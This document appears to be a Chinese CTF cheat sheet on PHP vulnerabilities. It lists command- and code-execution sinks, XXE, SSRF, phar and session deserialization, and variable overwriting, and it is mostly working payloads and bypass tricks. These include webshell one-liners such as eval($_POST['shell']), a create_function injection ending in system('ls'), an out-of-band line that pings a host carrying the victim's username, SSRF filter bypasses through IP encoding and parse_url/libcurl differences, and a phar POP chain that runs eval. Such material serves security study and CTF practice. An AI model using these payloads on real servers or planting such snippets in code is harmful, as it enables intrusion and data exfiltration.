命令执行

system

1
system('ls');

exec

1
exec('ls');

shell_exec ==>``

1
2
shell_exec('ls');
`ls`;

pcntl_exec

1
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void

path必须是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本

1
pcntl_exec('/tmp/shell')

popen

popen要配合fgets一起使用 才能输出想要的结果

1
2
3
4
5
6
7
<?php
$cmd=$_GET['cmd'];
$a=popen($cmd,'r');
while(!feof($a)){
echo fgets($a);
}
?>

proc_open

1
2


passthru

执行外部程序并显示原始输出

passthru ( string $command [, int &$return_var ] ) : void

1
2
3
4
<?php
$cmd=$_GET['cmd'];
echo passthru($cmd);
?>

bypass

escapeshellcmd escapeshellarg 单引号逃逸

escapeshellcmd原本是 为了防止命令注入的,但是两个连用就会出问题

1
2
3
127.0.0.1' -v -d a=1 ==> '127.0.0.1'\'' -v -d a=1' escapeshellarg先对单引号进行转义,然后在对左右两端分别加上单引号
'127.0.0.1'\'' -v -d a=1' ==> '127.0.0.1'\\'' -v -d a=1\' escapeshellcmd对\ '进行转义,对\进行转义后,\\就起不到转义的作用了,''就形成了一个空连接符,字符串末尾的'成为了一个独立的单引号,
所以escapashellcmd会对其进行转义

OOB带外

linux

1
ping `whoami`.xxx.xxx.io  #xxx为ceye的ip

windows

1
ping %USERNAME%.xxx.xxx.io

编码绕过

1
2
3
4
5
6
#写入文件
echo bHM=|base64 > /tmp/shell.sh
#给权限
chmod 777 /tmp/shell.sh
#执行
/tmp/shell.sh

关键字的绕过

1
2
3
4
5
空格 %0a ${IFS} %09 < $IFS$9

有时候会碰到分割两条命令的情况,可以用; %0a %0d | & %00等

还可以使用命令续行符\

$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!

拼接绕过

1
2
3
4
5
<?php
$a='sys';
$b='tem';
$a.$b($_GET['shell']);
?>

shell拼接

1
a=l;b=s;$a$b

代码执行

eval

1
eval($_POST['shell']);

assert

1
assert($_POST['shell']);

preg_replace

/e修饰符可以导致命令执行

1
2
$a='123';
preg_replace('/[0-9]/e',$_GET['shell'],$a);

call_user_func

1
2
3
call_user_func($_GET['func'],$_GET['cmd']);

func=assert&cmd=phpinfo()

call_user_func_array

1
2
3
call_user_func_array($_GET['func'],$_GET['cmd']);

func=assert&cmd[]=phpinfo()

array_map

1
2
3
array_map($_GET['func'],$_GET['cmd']);

func=assert&cmd[]=phpinfo()

array_filter

1
2
3
array_filter($_GET['code'],$_GET['func']);

?func=assert&code[]=phpinfo();

create_function

1
2
3
4
5
6
7
create_function('$a,$b','return 111')

==>

function a($a, $b){
return 111;
}

两种注入形式

no.1

函数体的注入

1
2
3
4
5
create_function($arg,"echo".$arg);
==>
function name($arg){
echo $arg;
}

代码注入

1
2
3
4
5
6
7
8
$arg=$_GET['arg'];
$code="echo hello".$arg.";";
$func=create_function('$arg', $code);

==>
functions name($arg){
echo "hello".$arg.";"
}

注入点在函数体内,闭合实际上是闭合的函数体,

1
2


no.2

函数参数的注入

以一道ctf为例 这个题还需要另一个trick,php的命名空间加上\ 表示绝对路径,不加表示相对

也就是说调用函数也可以\create_function 使用绝对路径的形式调用

1
2
3
4
5
6
7
8
9
10
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
echo 'check';
} else {
$act($arg,'');
}
==>
function name($arg){
}

注入点在参数内,函数体为空,无法在函数体内注入,可以闭合圆括号,构造RCE

1
?act=\create_function&arg=){};system('ls');/*

ob_start

1
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

1
2
3
4
5
6
7
<?php
ob_start("system");
echo $_GET['shell'];
ob_end_flush();
?>

?shell=whoami

usort/uasort

1
ool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

shell_1

1
2
3
usort(...$_GET);

?1[]=test&1[]=phpinfo();&2=assert

shell_2

1
2
3
usort($_GET, 'asse'.'rt');

?1=1+1&2=phpinfo();

XXE

DOMDocument

1
2
3
4
5
6
7
<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

SimpleXMLElement

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;

simplexml_load_string

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

SSRF

curl_exec

1
2
3
4
5
6
7
<?php 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>

file_get_contents

1
2
3
4
$str=file_get_contents($_GET['shell']);
echo $str;

http://127.0.0.1/test.php?shell=http://192.168.110.145/index.html

fsocksopen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
# 打开连接通道
$fp = fsockopen($_GET['url'], 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
# 通道打开,模拟HTTP请求,http协议标准的换行是\r\n
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
# http模拟完成,发送给服务器
fwrite($fp, $out);
# 接受服务器的返回结果
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

http://127.0.0.1/test.php?url=192.168.110.145/index.html

bypass

IP转换

点分式<==>整数形式

1
2
1945097072的十六进制表示是73 EF D3 70,每个字节转换成十进制表示就是115.239.211.112 
115.239.211.112每部分准换成16进制是73 EF D3 70,转换成十进制就是1945097072。

放上两个ip转换的脚本

ip转16进制

1
2
3
4
5
6
7
import socket
from binascii import hexlify

ary='192.168.1.1'
packed_ip_addr = socket.inet_aton(ary)
hexStr=hexlify(packed_ip_addr)
print('IP:'+str(hexStr))

测试 ok

1
GET /ssrf.php?url=http://0xc0a86e01/neiwang.php HTTP/1.1

ip转整数形式

1
2
3
4
5
6
7
8
9
10
11
12
13
IP = "192.168.110.1"
def addr2dec(addr):
"将点分十进制IP地址转换成十进制整数"
items = [int(x) for x in addr.split(".")]
return sum([items[i] << [24, 16, 8, 0][i] for i in range(4)])

def dec2addr(dec):
"将十进制整数IP转换成点分十进制的字符串IP地址"
return ".".join([str(dec >> x & 0xff) for x in [24, 16, 8, 0]])

dec = addr2dec(IP)
print dec
print dec2addr(dec)

测试 ok

1
GET /ssrf.php?url=http://3232263681/neiwang.php HTTP/1.1

url绕过

1
2
3
4
.==>。 127。0。0。1  测试 ok
短网址 https://dwz.cn/ 测试 没ok
指向任意 ip 的域名xip.io, http://xxx.127.0.0.1.xip.io/ 测试 ok 这个要注意xxx随意 但是不能没有
GET /test.php?url=http://x.192.168.110.1.xip.io/neiwang.php HTTP/1.1

变体字符

1
2
3
4
5
6
7
8
9
10
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

filter_var

使用特定的过滤器 过滤url

1
filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed

常使用的过滤器

1
2
FILTER_VALIDATE_EMAIL 检查是否为有效邮箱
FILTER_VALIDATE_URL 检查是否为有效url

绕过

1
2
3
4
0://baidu.com:80,google.com
0://baidu.com:80;google.com
0://baidu$goolge.com //利用bash的可变变量$google被解析为空 只使用curl
data://text.google.com/plain;base64,[code] 这里是可以xss的

parse_url

https://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/#%E5%AE%9E%E6%88%98%E4%B8%80

no.1 遇到///会返回flase
1
2
http://localhost///web/trick1/parse.php?sql=select
直接返回flase
no.2 遇到//把data当作path
1
2
3
4
5
http://localhost/web/trick1//parse2.php?/home/binarycloud/
则会被当做相对url,
此时的parse2.php?/home/binarycloud/都会被当做是data[‘path’]
而不再是query,导致可以绕过过滤
但是需要注意的是:此问题存在php5.4.7以前
no.3 遇到非法字符自动转为下划线_
1
2
3
?url=%11 
变成了下划线
array(1) { ["path"]=> string(1) "_" }
no.4 解析host
1
2
3
4
5
6
7
8
$url = 'http://username:[email protected]:9090/path?arg=value#anchor';


parse_url解析的结果是
?url=http://[email protected]

array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(15) "192.168.110.140" ["user"]=> string(13) "www.baidu.com" }
host变成了@后面的

host利用深入

libcurl和parse_url的解析差异

parse_url

1
host: 匹配最后一个@后面符合格式的host

libcurl

1
host:匹配第一个@后面符合格式的host

测试

1
http://u:[email protected]:[email protected]/index.php

parse_url解析结果

1
2
3
4
5
6
7
8
9
10
11
12
array(5) {
["scheme"]=>
string(4) "http"
["host"]=>
string(5) "b.com"
["user"]=>
string(1) "u"
["pass"]=>
string(10) "[email protected]:80"
["path"]=>
string(10) "/index.php"
}

前面的@a.com会被忽略掉

libcurl解析结果

1
2
3
4
5
schema: http
host: a.com
user: u
pass: p
port: 80

后面的@b.com会被忽略掉

302跳转

1
2
3
4
5
6
7
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
测试
1
2
paylaod 
GET /test.php?url=http://192.168.110.145/302.php%3fs%3dhttp%26ip%3d192.168.110.1%26port%3d80%26data%3dneiwang.php HTTP/1.1

test.php

1
2
3
4
5
6
7
8
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //支持302跳转
curl_exec($ch);
curl_close($ch);
?>

neiwang.php

1
2
3
<?php
var_dump($_SERVER['REMOTE_ADDR']);
?>

结果

1
string(13) "192.168.110.1"

ssrf还有几点问题

1
2
3
4
PHP的curl默认不跟随302跳转
curl7.43上gopher协议存在%00截断的BUG,v7.49可用
file_get_contents()的SSRF,gopher协议不能使用URLencode
file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败

反序列化

unserialize() 反序列化

serialize() 序列化

魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
__construct  当对象初始化时触发
__destory 当对象销毁的时触发

__tostring 当对象被当作字符串的时触发
"hello".$class."world" 还有file_exist 这两种情况也会触发

__call 当调用无法调用的函数时触发
__get 当访问无法访问的属性时触发
无法调用还有无法访问包括 不存在的 还有私有变量

__sleep 当一个对象被序列化时触发
__wakeup 当一个对象被反序列化时触发

主要是pop链的构造 还有绕过

__wakeup 当成员属性的个数大于实际成员数目时,可绕过 并且在成员属性的个数前面加上+ 也可以

私有变量 反序列化后 会生成两个%00 要注意

反序列化还有一个特性 当反序列化足够多的字符时,后面的数据就会被扔掉 比如

1
a:1:{s:4:"user";s:51:"O:4:"user":1:{s:4:"test";s:17:"<?php phpinfo()?>";}";}

最后的三个字符”;}不影响反序列化,当反序列化足够多的字符时,剩下的数据,会被抛弃 前面有s:17的字符个数限制,所以当反序列化17个字符的时候,后面的就被仍掉了

phar

phar是php中的一个打包文件,类似javaz中的war

php提供一个phar类允许我们处理phar文件相关操作。注意要将php.ini中的phar.readonly选项设置为Off或者在代码中加上 ini_set(“phar.readonly”,0); 这一句

phar文件的meta-data部分在存储时会被序列化,解析时,会反序列化处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

<?php
class User
{
public $a;
public function __construct()
{
$this->a='phpinfo();';
}
public function __destruct(){
eval($this->a);
}
}
@unlink('phar.phar');
$phar=new phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering(); //开始缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //phar文件标志,可以加上其他文件头,以绕过检测 "GIF89a"."<?php __HALT_COMPILER();"
$o=new User();
$phar->setMetadata($o); //添加meta-data数据
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
file_get_contents($_GET['url']);
class User
{
public $a;
public function __construct()
{
$this->a='';
}
public function __destruct(){
eval($this->a);
}
}
?>

?url=phar://phar.phar/test.txt

能够执行phpinfo()

session中的反序列化

php有三种反序列化方式

1
2
3
4
5
php_binary:键名的长度对应的ASCII字符+键名+键值经过serialize()函数序列化处理的值

php:键名+竖线+键值经过serialize()函数序列处理的值

php_serialize(php>5.5.4):经过serialize()函数序列化处理的值

如果数据以php_serialize的方式序列化,以php的方式反序列化,就会出现问题

通过php_serialize传入值,在加上一个竖线| ,伪造这样一串数据,

1
s:5:"|code";

这串数据当被php这种序列化方式解析的时候,键就变成了 s:5:”| 值就变成了 code 也就是值不再被当作字符串,而是单独的一部分被反序列化

变量覆盖

extract

$

parse_str

全局变量注册

auth变量没有设置,但是访问参数内有auth变量,auth会被自动的设置 前提 register_globals=ON

1
2
3
if ($auth) {
echo "private!";
}

import_request_variables()

1
2
3
4
5
6
7
8
9
10
<?php
$auth = "0";
import_request_variables("G");
if ($auth == 1) {
echo "private!";
}
else {
echo "public!";
}
?>

访问auth=1 就会自动设置auth变量

无参数函数

超全局变量$_ENV

$_ENV 通过getenv函数调用

getenv获取当前的环境变量
array_rand 从数组中随机的获取元素
array_flip() 交换数组中的键和值 键变为值 值变为键

getallheaders

后台代码

1
eval($_GET['code']);

请求头

1
2
3
4
5
6
7
8
9
10
GET /fuzz.php?code=eval(getallheaders()['P1k']); HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
p1k: phpinfo();
Connection: close
Upgrade-Insecure-Requests: 1

这种情况有[]参数 不能绕过正则 要是有正则 可以通过current next end pos获取元素
注意getallheaders 只适用于apache 因为他是apache的函数

配置函数

session

1
2
ini_set('session.serialize_handler', '需要设置的引擎');
session_start('serialize_handler=需要设置的引擎')

读写文件

readfile()

file_get_contents

file_put_contents

dirname

参考链接

https://www.fuzzer.xyz/2019/03/07/CTF%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%8F%8A%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

http://j0k3r.top/2019/01/30/SSRF/#0x01-IP%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

https://www.smi1e.top/%E9%80%9A%E8%BF%87%E4%B8%80%E9%81%93%E5%AE%A1%E8%AE%A1%E9%A2%98%E4%BA%86%E8%A7%A3ssrf/